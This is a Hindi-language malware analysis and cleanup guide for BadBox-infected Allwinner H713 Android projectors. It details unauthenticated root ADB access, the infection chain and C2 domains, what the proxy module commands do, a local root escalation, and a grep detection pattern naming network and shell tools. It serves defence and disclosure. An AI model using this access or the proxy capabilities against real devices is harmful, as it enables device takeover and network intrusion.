
Allwinner H713 Android प्रोजेक्टर पर BadBox मैलवेयर के लिए विश्लेषण और सफाई गाइड: ADB एक्सेस, संक्रमण प्रमाण, फर्मवेयर बैकअप, ड्रॉपर हटाना, और सत्यापन।
26 सितम्बर, 2026 · @R
एक सस्ता Android प्रोजेक्टर (Wielo / Atongmu AT-M269, Allwinner H713) एक सिस्टम-स्तरीय ड्रॉपर के साथ आता है जो इसे एक आवासीय प्रॉक्सी नोड में बदल देता है। यह दस्तावेज़ दिखाता है कि केस खोले बिना अंदर कैसे पहुँचें, संक्रमण को कैसे साबित करें, फर्मवेयर का बैकअप कैसे लें, मैलवेयर को कैसे हटाएँ और परिणाम को कैसे सत्यापित करें।
बदलते ब्रांडों के तहत बिकने वाला बिना नाम का LCD प्रोजेक्टर। बोर्ड और फर्मवेयर कई H713 प्रोजेक्टरों (HY300 क्लोन और अन्य) में साझा हैं, इसलिए यहाँ सब कुछ व्यापक रूप से लागू होता है।
| Property | Value |
|---|---|
| Sold as | Wielo Smart Projector, model AT-M269 (FCC ID 2BAAR-AT-M269D) |
| Manufacturer | Shenzhen Atongmu Technology; firmware and apps from OEM "ASHD" |
| Hardware revision | persist.sys.cm.hardversion = AT-M269_720P_HP_202410221430 |
| SoC | Allwinner H713M (ro.boot.hardware = sun50iw12p1), quad Cortex-A53; board exdroid, platform ares |
| RAM / storage | 1 GB DDR @ 576 MHz / 8 GB eMMC (7,818,182,656 bytes) |
| Wi-Fi / Bluetooth | AIC8800 (aic8800d80, driver rwnx 6.4.3.0) |
| Kernel | Linux 5.4.99, 32-bit (armv7l), built 8 Dec 2025 |
| Real build | h713m_tuna_p3-user 11 RP1A.201005.006 eng.work3.20251208.154308 release-keys, firmware H713M-android11-v1.0, build host ishang-PC |
| OS | Android 11 (SDK 30), user build, security patch 2022-02-05 |
| Disguise | Reports itself as Google ADT-3 (brand/model/device, manufacturer askey); real model in ro.product.model2 = AT-M269 |
| Partitions / boot | Virtual A/B, active slot _b, dynamic partitions (retrofit) in super; AVB 2.0, vbmeta.device_state = locked, verifiedbootstate empty; OEM unlock not allowed; /system 100% full |
| Security | ro.debuggable=1, ro.adb.secure=0, service.adb.root=1, ADB on tcp/5868, SELinux permissive, privapp permissions permissive, AOSP test keys |
| Region defaults | Timezone Asia/Shanghai, DTV area cn / DTMB |
adb shell getprop ro.product.model # ADT-3 <- spoofed, to pass Google certification adb shell getprop ro.product.model2 # AT-M269 <- real model adb shell getprop ro.board.platform # ares, H713 platform name adb shell getprop ro.build.type # user <- release build
## 2. अंदर जाएँ
ADB नेटवर्क पर, एक गैर-मानक पोर्ट पर, बिना किसी प्राधिकरण संकेत और रूट अधिकारों के साथ सुन रहा है।```
# 1. Find open ports (projector on an isolated network)
nmap -p- 10.56.215.10
# 5868/tcp open <- nmap guesses "diameters"; it is actually adbd
# 2. Confirm from the device side (e.g. via Termux on the projector)
getprop service.adb.tcp.port # 5868
getprop ro.adb.secure # 0 -> no "allow debugging?" prompt
getprop init.svc.adbd # running
# 3. Connect from a computer
adb connect 10.56.215.10:5868
adb root
adb shell id # uid=0(root)
adb shell 'echo adb_keepalive > /sys/power/wake_lock' # keep CPU/Wi-Fi awake (needs root adbd) adb shell cat /sys/power/wake_lock # adb_keepalive must be listed adb shell input keyevent KEYCODE_SLEEP # display + lamp off, ADB stays connected
adb shell input keyevent KEYCODE_WAKEUP # lamp on adb shell 'echo adb_keepalive > /sys/power/wake_unlock' # release the wakelock
`/sys/class/backlight/tv` > `brightness`/`bl_power` का कोई प्रभाव नहीं पड़ता।
## 3. संक्रमण श्रृंखला
दो पूर्व-स्थापित सिस्टम ऐप्स system उपयोगकर्ता (UID 1000) के रूप में चलते हैं। एक लोडर डाउनलोड करता है, लोडर चार प्रॉक्सी मॉड्यूल और एक दूसरा, स्वतंत्र लोडर डाउनलोड करता है।```
Firmware (preinstalled, UID 1000)
├─ com.android.sysapp /system/priv-app/AshdSysApp
│ OTA updater, can replace the whole firmware (update.zip / payload.bin)
│ C2: wjtysj.ishanghd.com/hx_kt.php
│
└─ com.android.umanalytics.yiyou /system/app/AndroidAnalytics_yiyou
Dropper; Umeng + Baidu tracking
└─ downloads cache/plugin.jar (DEX, from *.ishanghd.com)
├─ app installer: pulls app lists per device profile, pm install -r
│ └─ installs Disney+ etc. and com.google.adtest (payload)
└─ "hs" task loader, C2 api.loritor.cc / api.nizero.cc, every 6 h
└─ 4 encrypted modules code_cache/.hs/.file/.rf/*.rf
SKN0041 com.ad.proxy SKN0054 com.szns.sdk
SKN0058 com.link.core SKN0061 ddth2 (VpsSdk)
-> all four: residential proxy clients
com.google.adtest (/data/app, installed by yiyou)
Second loader "com.speed", own C2 (api.logobi.cc, api.pechlo.cc, ...)
Native plugin loader, may install/delete packages -> backup channel
> अजनबियों का इंटरनेट ट्रैफ़िक आपके कनेक्शन से होकर गुज़रता है, और आपका डिवाइस ट्रैक किया जाता है (सीरियल, MACs, Wi-Fi SSID/BSSID)।
adb shell "netstat -tnp | grep ESTABLISHED"
### **ख) किसने क्या इंस्टॉल किया**```bash
adb shell pm list packages -i | grep -v 'installer=null\|com.android.vending'
# package:com.google.adtest installer=com.android.umanalytics.yiyou <- payload
# package:com.disney.disneyplus installer=com.android.umanalytics.yiyou <- cover
# -> a system "analytics" app installing packages = dropper
adb shell dumpsys package com.google.adtest | grep -E 'codePath|firstInstallTime'
# fake Google name, lives in /data/app, installed silently
adb shell 'ls -laR /data/data/com.android.umanalytics.yiyou' | grep -E 'plugin.jar|.rf|files/apps'
### **d) सिस्टम-स्तरीय सेटअप**```bash
adb shell getprop ro.product.model
# ADT-3 (spoofed)
adb shell dumpsys package com.android.sysapp | grep sharedUser
# android.uid.system -> runs with system privileges
adb shell dumpsys package com.android.sysapp | grep -E 'INSTALL_PACKAGES|RECOVERY|MASTER_CLEAR'
# unnamed OEM app that may install apps, flash firmware and wipe the device
adb shell cat /system/etc/init/qw.rc
# service qw /system/bin/qw --daemon user root
मैलवेयर सीधे फर्मवेयर में बनाया गया है। बिल्ड तिथि eng.work3.20251208.154308 है, कर्नेल को Mon Dec 8 15:27:38 CST 2025 पर कंपाइल किया गया था। yiyou के रिकॉर्ड दिखाते हैं कि यह उसी दिन चल रहा था:```
session_recent_visit: [{"day":20251208,"count":1}, {"day":20260910,...}, ...]
1765179258896 -> 2025-12-08 07:34 UTC = 15:34 CST, ~7 min after the kernel build
### **f) विक्रेता-हस्ताक्षरित, रीड-ओनली सिस्टम इमेज में मैलवेयर**
कोई उपयोगकर्ता या बाद में आने वाला ऐप `/system` में फ़ाइलें नहीं डाल सकता। यह `super` का हिस्सा है, जो dm-verity द्वारा सुरक्षित और `vbmeta` के माध्यम से हस्ताक्षरित है।
## 5. मैलवेयर आर्किटेक्चर अवलोकन
### 5.1. मुख्य घटक
| घटक | स्थान | यह क्या करता है |
| --------------------------------- | ---------------------------- | --------------------------------------------------------------------------------------------------------------- |
| `com.android.umanalytics.yiyou` | `/system/app`, UID 1000 | `plugin.jar` डाउनलोड और चलाता है; Umeng/Baidu को सीरियल, MACs, android_id, Wi-Fi SSID/BSSID, Bluetooth MAC भेजता है |
| `plugin.jar` (DEX) | yiyou `cache/` | दो भाग: ऐप इंस्टॉलर (प्रति-डिवाइस ऐप सूचियाँ, H713/RK3326/HY300 के लिए 40+ प्रोफ़ाइल) और "hs" टास्क लोडर |
| "hs" टास्क लोडर | `plugin.jar` के अंदर | हर 6 घंटे में C2 को `jar`, `dex` या `apk` प्रकार के टास्क के लिए पोल करता है; डाउनलोड, MD5 जाँच, निष्पादन |
| SKN0041 `com.ad.proxy` | `.rf` मॉड्यूल | TCP/UDP/ICMP टनलिंग, हार्टबीट, साइन-इन/रिपोर्ट |
| SKN0054 `com.szns.sdk` | `.rf` मॉड्यूल | प्रॉक्सी नोड और आपके नेटवर्क से UDP स्कैनिंग |
| SKN0058 `com.link.core` | `.rf` मॉड्यूल | अपने स्वयं के DNS रिज़ॉल्वर के साथ प्रॉक्सी क्लाइंट |
| SKN0061 `ddth2` / VpsSdk | `.rf` मॉड्यूल | प्रॉक्सी गेटवे, कई समानांतर क्लाइंट इंस्टेंस |
| `com.google.adtest` ("com.speed") | `/data/app` | नेटिव प्लगइन लोडर के साथ दूसरा लोडर; पैकेज इंस्टॉल/डिलीट करता है; बूट, नेटवर्क, HDMI, पावर इवेंट पर पुनः आरंभ होता है |
| `com.android.sysapp` | `/system/priv-app`, UID 1000 | OTA अपडेटर: पूर्ण फर्मवेयर इमेज डाउनलोड और फ्लैश कर सकता है |
| Widevine फ़ाइलें | `/data/mediadrm/IDM1013/L3/` | `plugin.jar` एक DRM कुंजी/लाइसेंस बंडल छोड़ता है ताकि स्ट्रीमिंग ऐप्स अन-सर्टिफाइड डिवाइस पर चल सकें |
### 5.2. टुकड़े कैसे छिपे रहते हैं```
# C2 hostnames are not in plain text: gzip + Base64 + AES-CFB with a hardcoded key.
# decrypted: api.loritor.cc (master), api.nizero.cc (slave)
# DNS is resolved via DNS-over-HTTPS (dns.google, cloudflare-dns.com, doh.pub, 223.5.5.5)
# -> router DNS blocking alone misses it
# .rf module layout (per file):
# [version][...][salt:32 bytes][invocation: AES][module: AES][DSA signature]
# invocation = {"cn":"com.hotota.p.d.MainApi","m_init":"start_W00xx","m_uninit":"stop"}
# module = an APK whose classes.dex is loaded with DexClassLoader
# Modules are signed, so only the operator can push new ones.
shared_prefs/info.xml wifiinfo: ssid, bssid, device MAC, IP; blueinfo: BT MAC; accelerometer samples shared_prefs/umeng_*.xml appkey 61c17582e014255fcbc1a9af, channel ashd-analytics umeng_general_config.xml first_activate_time = 2 Mar 2026, successful_request = 218 hs.prefs_1.xml periods=21600 (6 h), last.trackerid = SKN0061
### 5.4. पार्श्विक गति
**कोई स्वचालित पार्श्विक गति नहीं, लेकिन LAN में प्रवेश का द्वार**
> लेकिन **SKN0041** और **SKN0058** गेटवे द्वारा नामित किसी भी लक्ष्य तक रिले करते हैं, और SKN0041 कमांड पर इसे पिंग भी कर सकता है। प्रॉक्सी किराए पर लेने वाला कोई भी व्यक्ति मैन्युअल रूप से LAN तक पहुँच सकता है या उसमें जाँच कर सकता है।
- `plugin.jar`
- डिक्रिप्टेड `.rf` मॉड्यूल SKN0041/54/58/61
- `com.google.adtest`, yiyou, sysapp
- `com.android.nfx` (NFXAccessibility)
- नेटिव: `qw`, `systemmixservice`, `libsystemmix_jni.so`, `libsystemmixservice.so````bash
grep -rlE 'ServerSocket|DatagramSocket|MulticastSocket|NetworkInterface|getDhcpInfo|/proc/net/arp|239\.255\.255\.250|224\.0\.0\.251|:5555|telnet|isReachable|NsdManager|JmDNS|UPnP|Cling|SSDP|WifiP2pManager|getBroadcast|broadcastAddress|SubnetMask|prefixLength|getLinkAddresses|InterfaceAddress' analysis/decompiled/*/sources
grep -rlE 'Runtime\.getRuntime\(\)\.exec|ProcessBuilder' analysis/decompiled/*/sources
|| str.matches("^192\\.168\\..*") || str.matches("^127\\..*")
// no 169.254.0.0/16 clause and no IPv6 form here, a link-local or IPv6 LAN target slips through
// SKN0061 ddth2/hidden/F.java - InetAddress's own range checks, covers link-local and IPv6 too !a.isAnyLocalAddress() && !a.isLoopbackAddress() && !a.isLinkLocalAddress() && !a.isSiteLocalAddress() && !a.isMulticastAddress()
// SKN0041 com/ad/proxy/b/Q.java - "url init" command: fetches any URL, no check InetAddress byName = InetAddress.getByName(host); createSocket.connect(new InetSocketAddress(byName, port), 10000);
// SKN0058 com/link/core/a/e.java - connects to the server-supplied address, no check this.c.connect(new InetSocketAddress(inetAddress, this.d));
SKN0041 का पूरा कमांड सेट, `com/ad/proxy/b/a0.java` डिस्पैच टेबल से:
| Opcode | Handler | क्या करता है |
| ------ | ---------- | ---------------------------------------------------------------------------------- |
| 1 / 2 | U / V | heartbeat request / response |
| 3 | W | ऑपरेटर-आपूर्ति किए गए host:port पर एक raw TCP कनेक्शन खोलता है, कोई पता जाँच नहीं |
| 5 / 7 | X / Y | एक खुले ट्रांजैक्शन पर tcp send / close |
| 8 | Z | ऑपरेटर-आपूर्ति किए गए host:port पर एक raw UDP सत्र खोलता है, कोई पता जाँच नहीं |
| 11 | K | udp close |
| 12 | L → P.java | ऑपरेटर-आपूर्ति किए गए होस्ट पर `ping -c 10 <host>` चलाता है, पूरा आउटपुट वापस भेजता है |
| 14 | M → Q.java | ऑपरेटर-आपूर्ति किए गए URL को फ़ेच करता है, कोई जाँच नहीं |
इनमें से कोई भी opcode IP रेंज के आधार पर फ़िल्टर नहीं करता।
`plugin.jar` वीडियो री-स्ट्रीम सर्वर (`com.cloudmedia.tv.server.d`, एक NanoHTTPD फोर्क जो Aiqiyi/Youku/CIBN स्ट्रीम रीराइट्स सर्व करता है) बिना कोई होस्ट सेट किए बाइंड करता है, जिसका अर्थ है सभी इंटरफ़ेस, LAN-पहुँच योग्य, केवल localhost नहीं, यदि यह शुरू होता है। इसका एकमात्र एंट्री पॉइंट `ParserUtils.AnalyticsHelper()` है, जो `getprop ro.board.platform == "rk3188"` के पीछे है। यह यूनिट `ares` (H713) रिपोर्ट करती है, इसलिए गेट बंद रहता है।
लाइव डिवाइस स्थिति: `netstat -tnp` केवल लूपबैक स्क्रीन-कास्ट (`com.android.toofifi` `127.0.0.1:5354` पर), IPv6 पर Google को GMS, और ADB सत्र दिखाता है। कोई `yiyou`, `sysapp`, `speed`, `umanalytics` या `adtest` प्रोसेस चल नहीं रहा है।
`systemmixservice` का Binder इंटरफ़ेस (root के रूप में मनमाना फ़ाइल पढ़ना/लिखना/हटाना और प्रॉपर्टी-सेट, डिवाइस पर किसी भी ऐप द्वारा पहुँच योग्य) एक स्थानीय प्रिविलेज-एस्केलेशन है। ड्रॉपर को हटाना और अविश्वसनीय APK इंस्टॉल न करना इसे बंद कर देता है।
## 6. संकेतक
नेटवर्क संकेतक (डोमेन, URL, IP) [section 11](#11-consolidated-hosturl-list-for-abuse-reports) में हैं।
### 6.1. पैकेज
| Package | Location | Role |
| --------------------------------------------------------------- | ------------------------------------------------------- | ---------------------------------------------------------------- |
| `com.android.umanalytics.yiyou` | `/system/app/AndroidAnalytics_yiyou`, UID 1000 (system) | dropper |
| `com.android.sysapp` (AshdSysApp) | `/system/priv-app/AshdSysApp`, UID 1000 (system) | OTA-channel backdoor |
| `com.google.adtest` (real name `com.fotas.wanapp`, "com.speed") | `/data/app` | second loader |
| `com.cloudmedia.testapk` | `/system/app` | OEM factory test app, removed alongside the dropper in section 8 |
| `com.disney.disneyplus` | `/data/app` | cover app installed by the dropper |
| `com.android.nfx` | `/system/priv-app/NFXAccessibility` | kept, harmless (Netflix remote-control helper) |
### 6.2.बाइनरीज़
| Binary | Init service | What it does |
| ---------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `/system/bin/qw` | **`qw`**: `class core`, `user root`, runs permanently from boot | Superuser/ClockworkMod su daemon (opens `/dev/com.koushikdutta.superuser` + `.daemon` sockets). |
| `/system/bin/appsdisable` | **`appsdisable`**: triggered `on property:sys.boot_completed=1`, `disabled`+`oneshot` | After a 4 s sleep on boot (`settings ... global start_disable`), finds every installed package with a `BOOT_COMPLETED` receiver whose component starts with `com.google.android` and `pm disable`s it to kill Google's own boot-time checks like Play Protect scanning and GMS core services. |
| `/system/bin/gmsopt` | **`gmsopt`**: same trigger and flags as appsdisable | Same disable-Google-boot-receivers behavior as appsdisable but excluding `com.google.android.permissioncontroller`. Redundant. |
| `/system/bin/systemmixservice` (+ `libsystemmix_jni.so`, `libsystemmixservice.so`) | **`systemmix`**: `class main`, `user root`, `oneshot` | OEM native? Purpose not fully determined but is root group. |
### 6.3. फ़ाइलें और निर्देशिकाएँ
| Path | What |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------- |
| `/data/data/com.android.umanalytics.yiyou/cache/plugin.jar` | downloaded "hs" loader / app-installer DEX |
| `/data/data/com.android.umanalytics.yiyou/code_cache/.hs/.file/.rf/*.rf` | encrypted proxy modules (SKN0041/54/58/61) |
| `/data/data/com.android.umanalytics.yiyou/files/apps/com.google.adtest.apk` | stored payload copy for silent reinstall |
| `/data/data/com.android.umanalytics.yiyou/files/libcuid.so` | device-ID helper native library |
| `/data/data/com.android.umanalytics.yiyou/databases/ua.db` | Umeng session DB |
| `/data/data/com.android.umanalytics.yiyou/shared_prefs/{info.xml, umeng_*.xml, hs.prefs_1.xml, hs.cuid.v1.xml, vps_sdk_prefs.xml, Plugin.xml, baidu_mtj_sdk_record.xml, ...}` | tracking/config prefs |
| `/data/data/com.android.sysapp/shared_prefs/SHARE.xml` | OTA download-state prefs |
| `/data/mediadrm/IDM1013/L3/` | dropped Widevine L3 DRM bundle |
| `/data/local/tmp/*`, `/data/ota_package/tmp/*` | scratch/leftover space used by the loader and OTA client |
### 6.4. नमूना हैश
| Sample | SHA-256 |
| ------------------------------- | ------------------------------------------------------------------ |
| `plugin.jar` | `e2e5f86df18e0cdef9595bd886280f158001250f1565fa3e6dfe492b114be6f7` |
| SKN0041 (decrypted) | `d7b26e53ade1cfcd283bfbbc5de7f792e8f8d441d74162eeef7e8a7c83ed5dba` |
| SKN0054 (decrypted) | `ba3b320791b80dae25d07e17e43d4b11b5c5a0d8b989fdb4a7f47ccb39201307` |
| SKN0058 (decrypted) | `60ade80fcd0a1c5bb3f62e76cd056b0e8034fdbe1e9834c335c0e60d99d12742` |
| SKN0061 (decrypted) | `fcffed775c6d6967bd40e4fa5b529f9fd301b3ebd64a555c756943d1e863fea7` |
| `com.google.adtest.apk` | `1298662eb6d087aa1e6f967d50581e998b5897ec1563bdf96589540845874110` |
| `AndroidAnalytics_yiyou.apk` | `c4910d6fa666eff03bdc683423f7f2585cb263f8dcbf5f1fe7a1e2643eb384aa` |
| `AshdSysApp.apk` | `f9cd44d359c9b0c92ddb8b868665a3e8edd54a19cc21a35fb2fba7dbdf36bb5a` |
| `L3.zip` (Widevine bundle) | `8367725743c27ed1fd49d5eb086e7b260cfcf38a825a8892ce31b45e767e228f` |
| `favorite.ico` (SKN0054 config) | `8d64d2982f8f5cb01ad1bbce53861e09eae2884fe8c545ac9023b636c8f5ffa2` |
## 7. बैकअप
इस मॉडल के लिए कोई फर्मवेयर प्रकाशित नहीं लगता, और रिवर्स इंजीनियर किया गया विक्रेता OTA सर्वर भी कुछ नहीं लौटाता।```
# Simple one-shot dump (fine over USB; over Wi-Fi it can stall)
adb exec-out "dd if=/dev/block/mmcblk0 bs=4M 2>/dev/null" > mmcblk0.img
adb shell 'ls /dev/block/mmcblk0boot*' # eMMC boot areas, dump them too if present
Wi-Fi पर, हेल्पर स्क्रिप्ट्स का उपयोग करें
dump-pull.sh [ip:port|usb] [file] आकार जाँच और पुनः प्रयास के साथ 256 MB के टुकड़ों में खींचता है। इसे दोबारा चलाने पर यह अंतिम पूर्ण टुकड़े से आगे जारी रहता है। पढ़ने से पहले, यह /data को background_gc=off,nodiscard के साथ रीमाउंट करता है, सिंक करता है और 10 सेकंड प्रतीक्षा करता है। USB पर यह adb shell stop भी चलाता है। बाहर निकलने पर दोनों पूर्ववत कर दिए जाते हैं (रीमाउंट background_gc=on,discard, start)। UDISK /data है और लाइव रहता है, इसलिए इसका हैश प्रत्येक रन में भिन्न हो सकता है।dump-verify.sh [ip:port|usb] [file] [-y] आकार, GPT हेडर, बूट क्षेत्रों और प्रत्येक पार्टीशन की जाँच करता है (डिवाइस SHA-256 बनाम इमेज में समान बाइट रेंज)। यह किसी भी बेमेल अनुभाग को पढ़ता और पैच करता है। सफल पास पर यह mmcblk0.img.sha256 लिखता है।```p=$(adb shell readlink /dev/block/by-name/super | xargs basename) # e.g. mmcblk0p9 s=$(adb shell cat /sys/block/mmcblk0/$p/start) # start sector (512 B) z=$(adb shell cat /sys/block/mmcblk0/$p/size) # size in sectors adb shell sha256sum /dev/block/by-name/super # hash on the device tail -c +$((s512+1)) mmcblk0.img | head -c $((z512)) | shasum -a 256 # same range in the image
### पुनर्स्थापना पथ
Allwinner FEL में जाएँ, फिर USB-A से USB-A केबल पर PhoenixUSBPro के साथ फ्लैश करें।
FEL में बूट करने के लिए कोई बाहरी पिनहोल नहीं है: `adb reboot efex` या `fastboot oem efex`।
संभावित हार्डवेयर फ़ॉलबैक: बोर्ड पर FEL पैड, जो FCC आंतरिक फ़ोटो में दिखाई देता है (केस खोलना आवश्यक है)। फ्लैशिंग के लिए एक IMAGEWTY `update.img` चाहिए, जो आपके डंप से `awimg.py` ([well0nez/magcubic-root](https://github.com/well0nez/magcubic-root)) और एक H713 टेम्पलेट के साथ बनाया जाता है।
FEL केवल लिखने के लिए है। PhoenixSuit और PhoenixUSBPro eMMC को वापस पढ़ नहीं सकते, और `sunxi-fel` में H713 के लिए कोई SRAM लेआउट नहीं है, केवल रीड-ओनली कमांड काम करते हैं ([sunxi-tools #226](https://github.com/linux-sunxi/sunxi-tools/issues/226))।
ऊपर दिया गया ADB डंप बैकअप विधि बना हुआ है।
### **बूट मोड**
यूनिट A/B (`ro.build.ab_update=true`) है और स्लॉट `_b` सक्रिय है। कोई `recovery` पार्टीशन नहीं है: recovery बूट रैमडिस्क में रहता है। U-Boot सीरियल कंसोल `ttyS0` है 115200 बॉड पर।
| मोड | कैसे प्रवेश करें | स्तर | स्थिति |
| --------------- | ------------------------------------------------------------------------------------------------------------ | --------------------- | ------------------------------------------------------------------------------------------- |
| Android | सामान्य पावर-ऑन, `adb reboot` | kernel | काम करता है |
| Recovery | `adb reboot recovery` | boot ramdisk | काम करता है, मेनू नीचे |
| fastbootd | recovery मेनू: Enter fastboot | recovery में userspace | प्रवेश करता है |
| U-Boot fastboot | recovery मेनू: Reboot to bootloader, या `adb reboot bootloader` | U-Boot | काम करता है (macOS को नीचे दिया गया फ़िक्स चाहिए) |
| U-Boot efex | U-Boot fastboot से `fastboot oem efex`, या `adb reboot efex` (U-Boot में एक `ir-efex` रिमोट ट्रिगर भी है) | U-Boot | `fastboot oem efex` के माध्यम से और `adb reboot efex` के माध्यम से काम करता है: `1f3a:efe8`, FEL हैंडशेक जवाब देता है |
| BootROM FEL | FEL टेस्ट पैड | SoC BootROM | अप्रयुक्त |
### **Recovery मेनू:**
- Reboot system now
- Reboot to bootloader
- Enter fastboot
- Apply update from ADB
- Apply update from SD card
- Wipe data/factory reset
- Mount /system
- View recovery logs
- Run graphics test
- Run locale test
- Enter rescue
- Power off
### **USB पर ADB**
USB0 (`ohci0`) लेने वाला सॉकेट डिफ़ॉल्ट रूप से host के रूप में चलता है। यह अगले रीबूट तक device मोड में स्विच हो जाता है:```
adb shell cat /sys/devices/platform/soc@2900000/soc@2900000:usbc0@0/usb_device
adb -d shell id
U-Boot fastboot का पता नहीं चला
गैजेट 1f3a:1010 ("USB Developer") के रूप में दिखाई देता है, और इसका इंटरफ़ेस मानक fastboot ff/42/03 है। हालाँकि, इसका डिवाइस क्लास ff है, ऑपरेटिंग सिस्टम (यहाँ macOS) कॉन्फ़िगरेशन सेटअप नहीं कर पाता और fastboot devices खाली रहता है।
अगर ऐसा होता है तो इसका समाधान pyusb के साथ एक बार कॉन्फ़िगरेशन सेट करना है, फिर fastboot को सामान्य रूप से उपयोग करें:```
brew install libusb python3 -m venv ~/venvs/fastboot source ~/venvs/fastboot/bin/activate pip install pyusb
source ~/venvs/fastboot/bin/activate python3 -c 'import usb.core; usb.core.find(idVendor=0x1f3a,idProduct=0x1010).set_configuration()' fastboot devices
### **FEL/efex**
U-Boot fastboot से, `fastboot oem efex` efex गैजेट `1f3a:efe8` पर स्विच करता है। (शायद उसी `set_configuration()` फिक्स की आवश्यकता होगी)
**स्रोत से Sunxi-tools बिल्ड**```
# one-time: build sunxi-fel
brew install libusb dtc pkg-config
git clone https://github.com/linux-sunxi/sunxi-tools
cd sunxi-tools && make sunxi-fel
sudo cp sunxi-fel /usr/local/bin/ # optional, else call ./sunxi-fel
# enter efex and check the handshake (read-only)
fastboot oem efex
source ~/venvs/fastboot/bin/activate
python3 -c 'import usb.core; usb.core.find(idVendor=0x1f3a,idProduct=0xefe8).set_configuration()'
sunxi-fel --list --verbose
sunxi-fel version
AWUSBFEX soc=00001860(unknown) 00000001 ver=0001 44 08 scratchpad=00121500 00000000 00000000.
केवल version और --list का उपयोग करें, कभी भी spl, uboot, write या exe का नहीं, क्योंकि sunxi टूल्स चिपसेट को नहीं पहचानते।
FEL से बाहर निकलने के लिए, पहले USB अनप्लग करें, फिर तब तक पावर ऑफ करें जब तक प्रोजेक्टर पर नीली LED बंद न हो जाए। SoC डेटा के बिना wdreset काम नहीं करता।
mkdir -p evidence && cd evidence adb shell getprop > getprop.txt adb shell pm list packages -f -i -U > packages.txt adb shell "netstat -tnp" > netstat.txt adb shell 'ls /system/etc/init /vendor/etc/init' > init-files.txt
adb pull /system/app/AndroidAnalytics_yiyou adb pull /system/priv-app/AshdSysApp adb pull "$(adb shell pm path com.google.adtest | cut -d: -f2)" adtest.apk
adb exec-out 'tar -cf - /data/data/com.android.umanalytics.yiyou /data/data/com.android.sysapp' > appdata.tar tar -tvf appdata.tar | grep -E '.jar|.rf|.apk|.xml' # check nothing is missing find . -type f -exec shasum -a 256 {} + > ../SHA256SUMS
### 8.2. हटाना```
# System apps (UID 1000): cannot be deleted from /system without a firmware rebuild.
# Stop, disable, wipe data for user 0 -> inert for the running system, survives reboots.
for p in com.android.umanalytics.yiyou com.android.sysapp com.cloudmedia.testapk; do
adb shell am force-stop $p
adb shell pm disable-user --user 0 $p
adb shell pm clear $p
done
adb shell pm uninstall com.google.adtest
# I removed this too for safety
adb shell pm uninstall com.disney.disneyplus
# Leftovers
adb shell 'rm -rf /data/local/tmp/* /data/ota_package/tmp/*'
adb reboot
रखा गया, संभवतः हानिरहित:
qw (su daemon, केवल /system को संपादित करके हटाया जा सकता है, केवल स्थानीय रूप से पहुँच योग्य)appsdisable, gmsopt, systemmixservicecom.android.nfx (Netflix रिमोट-कंट्रोल हेल्पर)एंटी टैम्पर जाँच
yiyou को अनइंस्टॉल करने से Settings टूट जाता है। com.ashd.settings के checkSHA1() में दो जाँचें हैं:
CD:B1:B7:56:85:FE:16:C2:7E:4C:45:59:54:43:AC:B0:1F:68:40:91, 60:35:FD:9E:68:E9:20:C2:B5:B0:7C:F2:B5:10:F2:83:47:06:DE:15, 6E:40:BA:7F:F7:90:7D:40:C2:F1:6D:12:E4:63:E5:E4:A3:F1:5A:01, 27:19:6E:38:6B:87:5E:76:AD:F7:00:E7:EA:84:E4:C6:EE:E3:3D:FA, F6:08:8C:ED:B9:9A:EC:82:A7:7D:F3:F9:01:97:06:BE:C0:65:E4:9A)com.android.umanalytics.yiyou, (या com.android.umanalytics.kege, संभवतः अन्य फर्मवेयर बिल्ड्स पर ड्रॉपर का नाम), उपयोगकर्ता 0 के लिए पंजीकृत है।दोनों विफलता पथ 签名校验失败,关闭应用 ("हस्ताक्षर जाँच विफल, ऐप बंद कर रहा है") लॉग करते हैं। yiyou को पूरी तरह से अनइंस्टॉल करना (जैसा कि ऊपर है, केवल अक्षम करने के बजाय) इसे ट्रिगर करता है। adb shell pm install-existing com.android.umanalytics.yiyou इसे पुनः सक्षम किए बिना पंजीकरण बहाल कर देता है।
adb connect 10.56.215.10:5868
adb shell pm list packages | grep -iE 'yiyou|sysapp|adtest|speed|testapk' # expect: nothing adb shell ps -A | grep -iE 'yiyou|sysapp|speed|umanalytics' # expect: nothing adb shell 'ls /data/data/com.android.umanalytics.yiyou 2>&1' # expect: No such file adb shell "netstat -tnp | grep ESTABLISHED"
adb shell pm list packages -3 -i # new apps? check their installer
**इस यूनिट पर सफाई और रीबूट के बाद परिणाम:**```
adb shell "netstat -tnp"
# tcp 127.0.0.1:52992 127.0.0.1:5354 ESTABLISHED 3351/com.android.toofifi <- local screen-cast service
# tcp 127.0.0.1:52994 127.0.0.1:5354 ESTABLISHED 3351/com.android.toofifi
# tcp6 10.56.215.10:5868 <your computer> ESTABLISHED 5332/adbd <- your ADB session
# -> no outbound connections left (before: ~25 from yiyou)
24 घंटे बाद netstat जाँच दोहराएँ (लोडर हर 6 घंटे में चेक-इन करता है) और अपने DNS और फ़ायरवॉल लॉग में प्रोजेक्टर के IP से आने वाली ब्लॉकलिस्ट हिट्स को देखें।
/system को रीड-राइट रीमाउंट करना अनुशंसित नहीं है: vbmeta लॉक है, /system 100% भरा हुआ है, इसलिए adb disable-verity + adb remount /data में एक ओवरले बनाएगा (फ़ैक्टरी रीसेट पर खो जाता है, जैसे pm uninstall --user 0) बूट विफलता के जोखिम पर।super से APKs को हटाना और इसे FEL के माध्यम से फ्लैश करना। अप्रयुक्त।```
adb shell getprop ro.boot.vbmeta.device_state # locked
adb shell getprop ro.boot.verifiedbootstate # (empty)
adb shell df -h /system # 1.1G 1.1G 3.4M 100%### 8.5. ब्लोटवेयर```
adb shell pm disable-user --user 0 com.android.toofifi
adb shell pm disable-user --user 0 com.toofifi.lineserver
adb shell pm disable-user --user 0 com.toofifi.miracast
adb shell pm disable-user --user 0 com.mphotool.usbcastserver
adb shell pm disable-user --user 0 com.rockchip.devicetest
pm enable --user 0 <package> के साथ वापस लौटाएँ
